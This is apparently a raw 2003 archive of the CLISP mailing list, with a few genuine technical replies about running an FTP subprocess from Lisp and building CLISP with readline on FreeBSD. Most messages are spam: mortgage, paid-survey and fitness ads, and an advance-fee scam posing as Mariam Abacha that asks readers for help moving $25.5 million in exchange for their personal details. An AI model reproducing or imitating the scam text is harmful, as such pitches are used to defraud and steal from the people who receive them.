sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WXgL-0003gT-00 for ; Sun, 29 Jun 2003 01:37:09 -0700 Received: (qmail 26574 invoked from network); 29 Jun 2003 08:36:13 -0000 Received: from unknown (HELO localhost) (200.26.62.133) by mail.lab2.centaura.com.ar with SMTP; 29 Jun 2003 08:36:13 -0000 Received: from 61-221-105-83.hinet-ip.hinet.net (61.221.105.83) by mailhms.hmsosa.com.ar From: =?Big5?B?sKinrKVOqKU=?= To: =?Big5?B?sKinrKVOqKU=?= Content-Type: multipart/alternative; boundary="=_NextPart_2rfkindysadvnqw3nerasdf"; charset="BIG-5" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Reply-To: ixwr2.4rqtu@yahoo.com X-Priority: 3 X-Library: Indy 9.00.10 X-Mailer:Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE:Produced By Mircosoft MimeOLE V6.00.2600.0000 Message-Id: Subject: [clisp-list] =?Big5?B?p0u46qr3s9C3fii2V6+rqV8p?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 29 01:38:02 2003 X-Original-Date: Sun, 29 Jun 2003 16:32:32 +0800 This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable charset="BIG-5" --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html Content-Transfer-Encoding: 7bit charset="BIG-5" --=_NextPart_2rfkindysadvnqw3nerasdf-- From hin@van-halen.alma.com Sun Jun 29 05:58:36 2003 Received: from redant.dsl.net ([65.84.81.6]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WblG-0000r9-00 for ; Sun, 29 Jun 2003 05:58:30 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by redant.dsl.net (Postfix) with ESMTP id DBEDA10DE1C; Sun, 29 Jun 2003 08:58:22 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h5TCwMna000640; Sun, 29 Jun 2003 08:58:22 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h5TCwKgl000637; Sun, 29 Jun 2003 08:58:20 -0400 Message-Id: <200306291258.h5TCwKgl000637@van-halen.alma.com> From: "John K. Hinsdale" To: ampy@ich.dvo.ru Cc: mkup@ozemail.com.au, clisp-list@lists.sourceforge.net In-reply-to: <5010832265.20030629125703@ich.dvo.ru> (message from Arseny Slobodjuck on Sun, 29 Jun 2003 12:57:03 +1000) Subject: Re: [clisp-list] (ext:run-program) newbie having problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 29 05:59:10 2003 X-Original-Date: Sun, 29 Jun 2003 08:58:20 -0400 > Hi, I am having trouble reading from the I/O stream created when I run > /bin/ftp on my linux system. This is what I am doing: I know this is not directly in resposne to your question, however if you are running /bin/ftp as a subprocess with the intent of having your Lisp program act as an FTP client (send and retrieve files) you're better off speaking to the FTP server directly using the FTP protocol. I did a quick check for FTP client libraries for Common Lisp; this one from Mathhew Danish looks good, but might need a little porting from Allegro-specific calls: http://www.mapcar.org/~mrd/cl-ftp/ The advantage of speaking FTP directly is that you are not dependent on the system having a human-oriented interactive FTP client that behaves a certain way. (E.g. the FTP client on Windows vs. Linux behave differently in how they prompt). The protocol is standard. Hope this helps ... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From mmaryamabacha2@caramail.com Sun Jun 29 21:45:59 2003 Received: from [80.88.129.38] (helo=ok62357.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WqY9-0000WO-00 for ; Sun, 29 Jun 2003 21:45:58 -0700 From: "Mrs.Mariam Abacha" Reply-To: mmaryamabacha2@caramail.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-Id: Subject: [clisp-list] Request... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 29 21:46:08 2003 X-Original-Date: Mon, 30 Jun 2003 05:49:57 -0700 From=3A Mrs Mariam Abacha Abacha Housing Estate Gidado Road=2C Kano-Nigeria =28N=2FB=29 **This message to you contains strictly confidential information which should be handled confidentially=2EAs soon as you show intrest you can help all necessary and important documents shall be forwarded to you including all identities=28My personal and family pictures=29** Asalam alekum=2C I salute you in the name of most High Allah=2E I am Mrs=2E Mariam Abacha=2C the widow of the late Gen=2E Sani Abacha former military Head of State who died mysteriously as a result of cardiac arrest=2E Since my husband's death=2C my family has been under restriction of movement and that notwithstanding=2C we are being molested and constantly under watch by the seemingly agent=2C above all=2C our banks account here and abroad have been frozen by the Nigerian civilian government=2E Furthermore=2C my eldest son is in detention by the Nigerian Government for more interrogation about my husband's asset and some vital documents=2E Following the recent discovery of my husband's bank account by the Nigerian government with my son's bank in which a huge sum of US$700 million and 450 million Dutch Mark was lodged and 6 billion dollars belonging to my late husband was seized by the government of Nigeria=2E I therefore wish to personally appeal to you seriously and religiously for your urgent assistance to transfer the sum of $25=2E5 million United States Dollars into your account in your country which has already been lodged in a Global crossing Diplomatic security in abroad by my Late Husband and I have a prove of the Certificate of Deposit with the telephone and fax number of the security company in abroad=2C the name of the head of operation including the telephone and fax number of the agency whom help in packaging the consignment=2E since we can not leave the country due to the restriction of movement imposed on the members of my family by the Nigerian Government and my International pass port impounded at the Murtala Mohammed International Airport=2C Lagos in August 1998 and presently the consignment is incurring more demurrage and if the government discovered they might seize the fund =28consignment=29 that was the reason I was advise by our Family lawyer for the safety of the fund=2C to look for an honest and reliable foreigner who is willing to be of assistant to enable the fund to be transfer to his account while you are entitled to 25% of the fund while 5% is for any expenses which might include your phone calls =2C stationary which must be deducted before sharing=2E Also=2C if you accept this proposal=2C I shall give you the telephone and fax number of the security company in abroad where the consignment is lodge including agency for verification and you shall as well forward your data including your telephone and fax number to our Family Lawyer who shall help in the legal documentation to make you the legal owner of the fund by a prove of an affidavit from the Federal High Court for a change of fund ownership by me which my lawyer shall forward with an application to the Court to enable the court to issue an legal clearance certificate as a prove that the fund is no longer belong to ABACHA FAMILY but you as the new beneficiary which will now empowered the Security company to release the consignment =28fund=29 to you=2E Please I will appreciate your quick response weather you accept this proposal or not to enable me to know the next step of action and please you can as well use your name or your company name as the beneficiary of the fund =28consignment =29 Yours Sincerely=2C Mrs Mariam Abacha=2E =5B**Striclty confidential**=5D From hb9lgi28op09@accountingprincipals.com Mon Jun 30 00:56:43 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19WtWj-000318-00; Mon, 30 Jun 2003 00:56:41 -0700 Received: from 66-65-27-158.nyc.rr.com ([66.65.27.158]:4899) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19WtWh-0000EJ-Ct; Mon, 30 Jun 2003 00:56:39 -0700 Received: from qwkn3.jhf80.net (HELO fle04) ([215.49.77.53]) by 66-65-27-158.nyc.rr.com SMTP id 56jXsS2Ffdvn03; Mon, 30 Jun 2003 09:52:57 +0100 Message-ID: <6v7ek2h-$zu9-9p7-7dv01$on@67b8iim> From: "Josue Devine" To: clisp-devel@lists.sourceforge.net Cc: , X-Mailer: Microsoft Outlook Express 5.50.4133.2400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=".91E3D_7FA.4E5.9." X-Priority: 3 X-MSMail-Priority: Normal X-EA-Verified: externalmx.vasoftware.com 19WtWh-0000EJ-Ct f17416fc0b6eac0732da607ee49a2beb X-Spam-Score: 13.1 Subject: [clisp-list] re:[1] You Are Approved! wigjvshszzfw piev Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 00:57:18 2003 X-Original-Date: Mon, 30 Jun 03 09:52:57 GMT This is a multi-part message in MIME format. --.91E3D_7FA.4E5.9. Content-Type: text/html; Content-Transfer-Encoding: quoted-printable

www.lender-search.biz

Hello, I just got a 30 fixed mortgage at 4.875%. I found

this website online where lenders compete for your business.

I thought maybe you want to take a look.

www.lender-search.biz

Thanks

Jennifer Swanson 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to be taken off: take me= off

xell ve qx qqgykxezr rotdsj eftm nctuvwg yzfvpc o dxklpmqpjhjg v cyrkci fkrsnmwwgbc lrbxw --.91E3D_7FA.4E5.9.-- From billingbbxo@bitnow.net Mon Jun 30 04:36:26 2003 Received: from [64.247.168.123] (helo=mail123.reachforyes.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WwxN-0005YR-00 for ; Mon, 30 Jun 2003 04:36:25 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <1056976717.2672@mail123.reachforyes.com> X-Mailer: Mozilla 4.04 [en] (Win95; I) From: billingiiub@bitnow.net Mime-Version: 1.0 Content-Type: text/html Content-Disposition: inline; Subject: [clisp-list] info about your account Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 04:37:05 2003 X-Original-Date: Mon, 30 Jun 2003 08:38:37 -0500 How would you like to earn $50 or more for completing a short survey?

What about $100 for an hour of your time participating in a focus group?


  Click Here To Sign Uo Today!

Your time and opinions are valuable - you just need to know
which companies are willing to pay you for them.



Our membership program provides....

- An updated database of hundreds of paid survey, focus group,
and market research companies
- Unlimited access - 24 hours a day, 7 days a week


  
   Click Here To Sign up Today!

This is a great way to boost your income, with minimal effort.  Best of
all, you can participate in as many surveys or focus groups as you choose!
From samuel.steingold@verizon.net Mon Jun 30 06:27:42 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Wygb-00076i-00 for ; Mon, 30 Jun 2003 06:27:13 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5UDR3T23901; Mon, 30 Jun 2003 09:27:04 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "John K. Hinsdale" Cc: ampy@ich.dvo.ru, mkup@ozemail.com.au, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (ext:run-program) newbie having problems References: <200306291258.h5TCwKgl000637@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200306291258.h5TCwKgl000637@van-halen.alma.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 06:28:09 2003 X-Original-Date: 30 Jun 2003 09:27:03 -0400 > * In message <200306291258.h5TCwKgl000637@van-halen.alma.com> > * On the subject of "Re: [clisp-list] (ext:run-program) newbie having problems" > * Sent on Sun, 29 Jun 2003 08:58:20 -0400 > * Honorable "John K. Hinsdale" writes: > > I did a quick check for FTP client libraries for Common Lisp; this one > from Mathhew Danish looks good, but might need a little porting from > Allegro-specific calls: > > http://www.mapcar.org/~mrd/cl-ftp/ see also CLOCC/CLLIB/net.lisp > The advantage of speaking FTP directly is that you are not dependent > on the system having a human-oriented interactive FTP client that > behaves a certain way. (E.g. the FTP client on Windows vs. Linux > behave differently in how they prompt). The protocol is standard. indeed. -- Sam Steingold (http://www.podval.org/~sds) running w2k The only intuitive interface is the nipple. The rest has to be learned. From samuel.steingold@verizon.net Mon Jun 30 06:31:16 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WykL-0000Ko-00 for ; Mon, 30 Jun 2003 06:31:05 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5UDUvT24771; Mon, 30 Jun 2003 09:30:57 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: "M.K." Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem making clisp-2.30 on old version of FreeBSD References: <200306290421.h5T4LaJG012949@garfield.bmk.com.au> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200306290421.h5T4LaJG012949@garfield.bmk.com.au> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 06:32:03 2003 X-Original-Date: 30 Jun 2003 09:30:57 -0400 > * In message <200306290421.h5T4LaJG012949@garfield.bmk.com.au> > * On the subject of "[clisp-list] problem making clisp-2.30 on old version of FreeBSD" > * Sent on Sun, 29 Jun 2003 14:21:36 +1000 (EST) > * Honorable "M.K." writes: > > I have built and installed the "readline-4.3.tar.gz" source and I have > rebooted my system so that "ldconfig" updates the shared library cache > which now includes the readline libs. This does not help the problem > however. you need to run CLISP configure _after_ readline is installed. -- Sam Steingold (http://www.podval.org/~sds) running w2k Just because you're paranoid doesn't mean they AREN'T after you. From GwennS763@aol.com Mon Jun 30 18:20:44 2003 Received: from [217.171.3.123] (helo=aol.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19X9p0-0001T1-00 for ; Mon, 30 Jun 2003 18:20:38 -0700 Message-ID: <136001c33f5f$540a25a0$29e6acb6@fnsiyexjmjdc> Reply-To: GwennS763@aol.com From: GwennS763@aol.com To: "Healthier Lifestyles" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_FB7_7F2C_865617AB.F281EE11" X-Priority: 3 User-Agent: AOL 7.0 for Windows US sub 118 Subject: [clisp-list] FW:Free Consultation On Your Health Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 30 18:21:05 2003 X-Original-Date: Mon, 30 Jun 2003 18:28:36 -0500 ------=_NextPart_FB7_7F2C_865617AB.F281EE11 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_FB7_7F2C_865617AB.F281EE11 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PC9IVE1MPg0KPCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBI VE1MIDQuMCBUcmFuc2l0aW9uYWwvL0VOIj4NCjwhLS0gc2F2ZWQgZnJvbSB1 cmw9KDAxMjMpZmlsZTovL0M6XERvY3VtZW50cyUyMGFuZCUyMFNldHRpbmdz XG1pa2UlMjB3ZWRla2luZ1xMb2NhbCUyMFNldHRpbmdzXFRlbXBvcmFyeSUy MEludGVybmV0JTIwRmlsZXNcT0xLMjE0XGFubm91bmNlbWVudDIuaHRtIC0t Pg0KPEhUTUw+PEhFQUQ+PFRJVExFPkFOTk9VTkNFTUVOVDwvVElUTEU+DQo8 TUVUQSBodHRwLWVxdWl2PUNvbnRlbnQtTGFuZ3VhZ2UgY29udGVudD1lbi11 cz4NCjxNRVRBIGNvbnRlbnQ9Ik1pY3Jvc29mdCBGcm9udFBhZ2UgNC4wIiBu YW1lPUdFTkVSQVRPUj4NCjxNRVRBIGNvbnRlbnQ9RnJvbnRQYWdlLkVkaXRv ci5Eb2N1bWVudCBuYW1lPVByb2dJZD4NCjxNRVRBIGh0dHAtZXF1aXY9Q29u dGVudC1UeXBlIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dz LTEyNTIiPg0KPFNUWUxFPlAuTXNvTm9ybWFsIHsNCglGT05ULVNJWkU6IDEy cHQ7IE1BUkdJTjogMGluIDBpbiAwcHQ7IENPTE9SOiByZWQ7IEZPTlQtRkFN SUxZOiBHYXJhbW9uZDsgbXNvLXN0eWxlLXBhcmVudDogIiINCn0NClAuTXNv Qm9keVRleHQgew0KCUZPTlQtV0VJR0hUOiBib2xkOyBGT05ULVNJWkU6IDE0 cHQ7IE1BUkdJTjogMGluIDBpbiAwcHQ7IEZPTlQtU1RZTEU6IGl0YWxpYzsg Rk9OVC1GQU1JTFk6IEdhcmFtb25kDQp9DQpQLk1zb0JvZHlUZXh0MiB7DQoJ Rk9OVC1TSVpFOiAxNHB0OyBNQVJHSU46IDBpbiAwaW4gMHB0OyBGT05ULUZB TUlMWTogR2FyYW1vbmQNCn0NCjwvU1RZTEU+DQo8L0hFQUQ+DQo8Qk9EWT4N CiAgICAgIDxoMyBhbGlnbj0iY2VudGVyIiBzdHlsZT0ibWFyZ2luLWxlZnQ6 IDBpbjsgbWFyZ2luLXJpZ2h0OiAwaW47IG1hcmdpbi10b3A6IDBpbjsgbWFy Z2luLWJvdHRvbTogLjAwMDFwdCI+PGZvbnQgZmFjZT0iQmF0YW5nIj5GaW5h bGx5IQ0KICAgICAgWW91IGNhbiBoYXZlIGEgcHJvZmVzc2lvbmFsIHdlaWdo dCBsb3NzIGFuZCBleGVyY2lzZSBwcm9ncmFtIHdpdGggYQ0KICAgICAgQ2Vy dGlmaWVkIFBlcnNvbmFsIFRyYWluZXIuLi48bzpwPg0KICAgICAgPC9vOnA+ DQogICAgICA8L2ZvbnQ+PC9oMz4NCiAgICAgIDxoMyBhbGlnbj0iY2VudGVy IiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDBpbjsgbWFyZ2luLXJpZ2h0OiAwaW47 IG1hcmdpbi10b3A6IDBpbjsgbWFyZ2luLWJvdHRvbTogLjAwMDFwdCI+PHNw YW4gc3R5bGU9ImNvbG9yOiBibHVlIj48Zm9udCBmYWNlPSJCYXRhbmciPkZy b20NCiAgICAgIEFueXdoZXJlISBBdCBZb3VyIENvbnZlbmllbmNlITwvZm9u dD48L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OkFyaWFsO2NvbG9y OmJsdWUiPjxvOnA+DQogICAgICA8L286cD4NCiAgICAgIDwvc3Bhbj48L2gz Pg0KICAgICAgPHAgYWxpZ249ImNlbnRlciIgc3R5bGU9Im1hcmdpbi1sZWZ0 OiAwaW47IG1hcmdpbi1yaWdodDogMGluOyBtYXJnaW4tdG9wOiAwaW47IG1h cmdpbi1ib3R0b206IC4wMDAxcHQiPiZuYnNwOzwvcD4NCiAgICAgIDxoMSBh bGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI0Ij48c3BhbiBzdHlsZT0iY29s b3I6IHdpbmRvd3RleHQiPjxmb250IGZhY2U9IkJhdGFuZyI+UHJvZmVzc2lv bmFsDQogICAgICBUZWxlcGhvbmUgUGVyc29uYWwgVHJhaW5pbmcgaXMgdGhl IG5ldyByZXZvbHV0aW9uIGluIHdlaWdodCBsb3NzIGFuZA0KICAgICAgZml0 bmVzcy48c3BhbiBzdHlsZT0ibXNvLXNwYWNlcnVuOiB5ZXMiPiZuYnNwOyA8 L3NwYW4+U3R1ZGllcyBzaG93IHRoYXQNCiAgICAgIHJlc3VsdHMgYXJlIG9m ZiB0aGUgY2hhcnRzPGI+ITwvYj48L2ZvbnQ+PC9zcGFuPjwvZm9udD48c3Bh biBzdHlsZT0iY29sb3I6IHdpbmRvd3RleHQiPjxmb250IGZhY2U9IkJhdGFu ZyI+PG86cD4NCiAgICAgIDwvbzpwPg0KICAgICAgPC9mb250Pjwvc3Bhbj48 L2gxPg0KICAgICAgPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRl ciIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxLjVpbiI+PGI+PGZvbnQgZmFjZT0i QmF0YW5nIj4mbmJzcDs8bzpwPg0KICAgICAgPC9vOnA+DQogICAgICA8L2Zv bnQ+PC9iPjwvcD4NCiAgICAgIDxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWdu PSJjZW50ZXIiPjxmb250IGZhY2U9IkJhdGFuZyI+Jm5ic3A7PG86cD4NCiAg ICAgIDwvbzpwPg0KICAgICAgPC9mb250PjwvcD4NCiAgICAgIDxoMiBhbGln bj0iY2VudGVyIj48Zm9udCBmYWNlPSJCYXRhbmciPjxzcGFuIHN0eWxlPSJt c28tYmlkaS1mb250LXNpemU6IDEwLjBwdDsgZm9udC13ZWlnaHQ6IG5vcm1h bCI+SWYNCiAgICAgIHlvdSBhcmUgaW50ZXJlc3RlZCBpbiBhIDwvc3Bhbj48 c3BhbiBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMC4wcHQ7IGNvbG9y OiByZWQiPkZSRUU8L3NwYW4+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQt c2l6ZTogMTAuMHB0OyBmb250LXdlaWdodDogbm9ybWFsIj4NCiAgICAgIDwv c3Bhbj48c3BhbiBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMC4wcHQ7 IGNvbG9yOiByZWQiPjE1IG1pbnV0ZTwvc3Bhbj48c3BhbiBzdHlsZT0ibXNv LWJpZGktZm9udC1zaXplOiAxMC4wcHQ7IGZvbnQtd2VpZ2h0OiBub3JtYWwi Pg0KICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJtc28tYmlkaS1mb250LXNp emU6IDEwLjBwdDsgY29sb3I6IHJlZCI+Q29uc3VsdGF0aW9uPC9zcGFuPjxz cGFuIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEwLjBwdDsgZm9udC13 ZWlnaHQ6IG5vcm1hbCI+DQogICAgICA8L3NwYW4+PC9mb250PjxhIGhyZWY9 Im1haWx0bzphYmxlNEB0aGVyaWdodHRzdHVmZmYuY29tP1N1YmplY3Q9TW9y ZUluZm8mYW1wO2JvZHk9UGxlYXNlIHJlcGx5IHdpdGggeW91ciBOYW1lLCBD b21wYW55LCBhbmQgUGhvbmUgTnVtYmVyIj48c3BhbiBzdHlsZT0idGV4dC10 cmFuc2Zvcm06IHVwcGVyY2FzZSI+PGZvbnQgY29sb3I9IiMwMDAwZmYiIGZh Y2U9IkJhdGFuZyI+Q0xJQ0sNCiAgICAgIEhFUkU8L2ZvbnQ+PC9zcGFuPjwv YT48Zm9udCBmYWNlPSJCYXRhbmciPjx1PjxzcGFuIHN0eWxlPSJtc28tYmlk aS1mb250LXNpemU6IDEwLjBwdDsgY29sb3I6IGJsdWUiPjxvOnA+DQogICAg ICA8L286cD4NCiAgICAgIDwvc3Bhbj48L3U+PC9mb250PjwvaDI+DQogICAg ICA8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIj48Zm9udCBm YWNlPSJCYXRhbmciPiZuYnNwOzxvOnA+DQogICAgICA8L286cD4NCiAgICAg IDwvZm9udD48L3A+DQogICAgICA8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGln bj0iY2VudGVyIj48Zm9udCBmYWNlPSJCYXRhbmciPiZuYnNwOzxvOnA+DQog ICAgICA8L286cD4NCiAgICAgIDwvZm9udD48L3A+DQogICAgICA8aDIgYWxp Z249ImNlbnRlciIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAuMjVpbiI+PHNwYW4g c3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWwiPjxmb250IGZhY2U9IkJhdGFu ZyIgc2l6ZT0iNCI+SWYNCiAgICAgIHlvdSBhcmUgZnJ1c3RyYXRlZCBieSB5 b3VyIGluYWJpbGl0eSB0byBsb3NlIHdlaWdodCBhbmQga2VlcCBpdCBvZmYs IHRoZW4NCiAgICAgIHlvdSBuZWVkIHRvIGRpc2NvdmVyIHRoZSBwb3dlciBv ZiB0aGlzIG5ldyBwcm9ncmFtLiBJZiB5b3Ugd2FudCBhIGZpdG5lc3MNCiAg ICAgIHByb2dyYW0gdGhhdCB3aWxsIGxhc3QgYSBsaWZldGltZSwgdGhlbiBU ZWxlcGhvbmUgRml0bmVzcyBpcyBmb3IgWU9VLjx1PjxzcGFuIHN0eWxlPSJj b2xvcjpibHVlIj48bzpwPg0KICAgICAgPC9vOnA+DQogICAgICA8L3NwYW4+ PC91PjwvZm9udD48L3NwYW4+PC9oMj4NCiAgICAgIDxoMiBhbGlnbj0iY2Vu dGVyIj48Zm9udCBmYWNlPSJCYXRhbmciPjxmb250IHNpemU9IjQiPjxicj4N CiAgICAgIDxzcGFuIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEwLjBw dDsgZm9udC13ZWlnaHQ6IG5vcm1hbCI+WW91IDwvc3Bhbj48c3BhbiBzdHls ZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMC4wcHQiPmNhbjwvc3Bhbj48L2Zv bnQ+PGZvbnQgc2l6ZT0iNCI+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQt c2l6ZTogMTAuMHB0OyBmb250LXdlaWdodDogbm9ybWFsIj4NCiAgICAgIGhh dmUgYSBwcm9mZXNzaW9uYWwgd2VpZ2h0IGxvc3MgYW5kIGV4ZXJjaXNlIHBy b2dyYW0gd2l0aCBhIENlcnRpZmllZA0KICAgICAgUGVyc29uYWwgVHJhaW5l ciB0aGF0IGlzIDwvc3Bhbj48c3BhbiBzdHlsZT0ibXNvLWJpZGktZm9udC1z aXplOiAxMC4wcHQiPjxiPnByaXZhdGU8L2I+PC9zcGFuPjxzcGFuIHN0eWxl PSJtc28tYmlkaS1mb250LXNpemU6IDEwLjBwdDsgZm9udC13ZWlnaHQ6IG5v cm1hbCI+LA0KICAgICAgPC9zcGFuPjx1PjxzcGFuIHN0eWxlPSJtc28tYmlk aS1mb250LXNpemU6IDEwLjBwdCI+PGI+YWZmb3JkYWJsZTwvYj48L3NwYW4+ PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTAuMHB0OyBmb250 LXdlaWdodDogbm9ybWFsIj4sDQogICAgICA8L3NwYW4+PC91PjxzcGFuIHN0 eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEwLjBwdCI+PGI+Y29udmVuaWVu dDwvYj48L3NwYW4+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTog MTAuMHB0OyBmb250LXdlaWdodDogbm9ybWFsIj4sDQogICAgICBhbmQgPC9z cGFuPjxzcGFuIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEwLjBwdCI+ PGI+ZmxleGlibGU8L2I+PC9zcGFuPjxzcGFuIHN0eWxlPSJtc28tYmlkaS1m b250LXNpemU6IDEwLjBwdDsgZm9udC13ZWlnaHQ6IG5vcm1hbCI+Ljwvc3Bh bj48L2ZvbnQ+PHNwYW4gc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTAu MHB0OyBmb250LXdlaWdodDogbm9ybWFsIj48bzpwPg0KICAgICAgPC9vOnA+ DQogICAgICA8L3NwYW4+PC9mb250PjwvaDI+DQogICAgICA8aDIgYWxpZ249 ImNlbnRlciI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWwiPjxm b250IGZhY2U9IkJhdGFuZyI+Jm5ic3A7PG86cD4NCiAgICAgIDwvbzpwPg0K 